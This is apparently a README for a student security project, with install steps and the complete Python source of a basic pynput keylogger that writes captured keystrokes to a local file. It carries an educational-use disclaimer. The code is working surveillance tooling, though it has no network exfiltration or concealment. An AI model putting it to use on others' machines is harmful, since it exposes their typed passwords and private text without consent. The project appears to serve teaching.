 1 | # Simple Keylogger
 2 | 
 3 | This project demonstrates a basic keylogger program that records and logs keystrokes. The keylogger captures the keys pressed by the user and saves them to a file named `keylog.txt`.
 4 | 
 5 | **Important Note**: This keylogger is intended for educational purposes only. Always ensure you have explicit permission to log keystrokes on any system you use this code on. Unauthorized use of keyloggers can be illegal and unethical.
 6 | 
 7 | ## Features
 8 | 
 9 | - Logs all keystrokes pressed by the user.
10 | - Saves the logged keystrokes to a file named `keylog.txt`.
11 | 
12 | ## Prerequisites
13 | 
14 | - Python 3.x
15 | - `pynput` library
16 | 
17 | ## Installation
18 | 
19 | 1. Clone this repository to your local machine:
20 | 
21 |     ```sh
22 |     git clone https://github.com/oraclebrain/PRODIGY_CS_04.git
23 |     ```
24 | 
25 | 2. Navigate to the project directory:
26 | 
27 |     ```sh
28 |     cd PRODIGY_CS_04
29 |     ```
30 | 
31 | 3. Install the required dependencies:
32 | 
33 |     ```sh
34 |     pip install pynput
35 |     ```
36 | 
37 | ## Usage
38 | 
39 | 1. Run the keylogger script:
40 | 
41 |     ```sh
42 |     python keylogger.py
43 |     ```
44 | 
45 | 2. The script will start logging keystrokes and save them to `keylog.txt`.
46 | 
47 | ## Code Overview
48 | 
49 | ```python
50 | from pynput import keyboard
51 | 
52 | def keyPressed(key):
53 |     print(str(key))
54 |     with open("keylog.txt", 'a') as logkey:
55 |         try:
56 |             char = key.char
57 |             logkey.write(char)
58 |         except:
59 |             print("Error getting char")
60 | 
61 | if __name__ == "__main__":
62 |     listener = keyboard.Listener(on_press=keyPressed)
63 |     listener.start()
64 |     input()
65 |
